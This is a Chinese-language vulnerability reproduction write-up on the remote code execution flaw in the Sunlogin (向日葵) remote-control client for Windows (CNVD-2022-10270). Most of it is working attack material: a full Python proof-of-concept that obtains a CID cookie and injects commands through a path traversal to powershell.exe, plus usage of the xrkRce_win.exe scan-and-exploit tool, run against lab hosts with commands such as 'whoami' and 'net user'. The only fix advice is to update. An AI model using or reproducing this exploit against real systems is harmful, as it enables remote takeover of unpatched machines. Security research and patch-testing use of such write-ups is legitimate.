一、漏洞描述二、影响版本三、复现过程
0.环境说明1.扫描开放端口2.执行攻击命令3.手动利用 四、修复建议
更新到安全版本
一、漏洞描述
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。
利用工具项目地址:https://github.com/Mr-xn/sunlogin_rce
使用方法:python3 sunlogin_poc.py 目标ip:端口 "命令"
# -*- coding: GBK -*-
# @Time : 2022/2/18 11:51
# @Author : culprit
# @File : sunlogin_poc.py
# @Software: PyCharm
import requests,sys
ip = sys.argv[1]
command = sys.argv[2]
payload1 = "/cgi-bin/rpc?action=verify-haras"
payload2 = "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+"
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
}
if "http://" not in ip:
host = "http://" + ip
else:
host = ip
try:
s = requests.Session()
res = s.get(url=host + payload1,headers=headers)
if res.status_code == 200:
res = res.json()
Cid = res['verify_string']
headers.update({'cookie':"CID=" + Cid})
res1 = s.get(url=host + payload2 + command,headers=headers)
res1.encoding = "GBK"
print(res1.text)
else:
pass
except Exception as e:
print(e)
二、影响版本
向日葵个人版for Windows <= 11.0.0.33 向日葵简约版 <= V1.0.1.43315(2021.12)
三、复现过程 0.环境说明攻击机:192.168.102.181(Window10) 目标机:192.168.37.131(windows7) 测试向日葵客户端漏洞版本:11.0.0.331621.扫描开放端口
-h 指定目标 -t 选择扫描或者命令执行 默认scan,执行命令为rce -p 设置扫描端口范围 默认4w到65535 -c 需要执行的命令
xrkRce_win.exe -h 受害者主机IP -t scan xrkRce_win.exe -h 192.168.37.131 -t scan2.执行攻击命令
扫描到向日葵开放的端口后,执行命令
xrkRce_win.exe -h 受害者主机IP -t rce -p 端口 -c "命令" xrkRce_win.exe -h 192.168.37.131 -t rce -p 49164 -c "whoami" xrkRce_win.exe -h 192.168.37.131 -t rce -p 49164 -c "net user"
成功获取到目标主机权限。
使用端口扫描工具扫描目标开放端口(一般端口号>40000)
使用脚本利用漏洞,使用方法
python3 sunlogin_poc.py 192.168.37.131:49162 "whoami"
成功执行命令



